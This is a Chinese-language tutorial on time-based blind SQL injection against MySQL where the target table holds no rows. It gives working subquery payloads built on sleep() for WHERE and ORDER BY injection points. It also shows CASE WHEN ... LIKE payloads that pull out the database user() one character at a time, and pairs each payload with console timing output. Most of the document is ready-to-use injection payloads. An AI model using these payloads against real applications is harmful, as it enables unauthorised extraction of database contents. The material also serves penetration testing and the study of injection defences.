MySQL注入点无数据进行布尔延迟盲注的方法
整体思路
首先进行 普通的注入测试,查看是否发生延迟,接着测试构造子查询进行注入,然后在 注入点order by 处构造子查询延迟注入出user(),最后在注入点where处构造子查询延迟注入出user()
测试数据
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
例如测试表:tttt 没有数据
mysql> select * from tttt;
+----+
| id |
+----+
| |
+----+
Empty set (0.00 sec)
普通注入测试
可以发现数据并没有发生延迟,因为数据表没有数据
mysql> select * from tttt where id=1 or sleep(5);
Empty set (0.00 sec)
mysql> select * from tttt order by sleep(5);
Empty set (0.00 sec)
测试-构造子查询进行注入
例如注入点发生在 where 处
即使 tttt 表没有数据也成功延迟了
mysql> select * from tttt where id=1 and (select 1 from (select sleep(5))x);
Empty set (5.00 sec)
例如注入点发生在 order by 处
即使 tttt 表没有数据也成功延迟了
mysql> select * from tttt order by id-(select 1 from (select sleep(5))x);
Empty set (5.00 sec)
注入点 order by 处构造子查询延迟注入出 user()
使用方式:select * from tttt ORDER BY id-(select 1 from (select case when (payload like 'r%') then 1 else sleep(2) end)x);
对的情况
页面会很快的返回数据
说明 user() 第1-4位字符为 root
mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
Empty set (0.00 sec)
错误的情况
页面会延迟2秒
mysql> select * from tttt ORDER BY id-(select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
Empty set (2.00 sec)
注入点 where 处构造子查询延迟注入出 user()
user() = root@localhost
使用方式:select * from tttt WHERE id=1 and (select 1 from (select case when (**payload **like 'r%') then 1 else sleep(2) end)x);
对的情况
页面会很快的返回数据
说明 user() 第1-4位字符为 root
mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'root%') then 1 else sleep(2) end)x);
Empty set (0.00 sec)
错误的情况
页面会延迟2秒
mysql> select * from tttt where id=1 and (select 1 from (select case when (user() like 'aaaa%') then 1 else sleep(2) end)x);
Empty set (2.00 sec)

浙公网安备 33010602011771号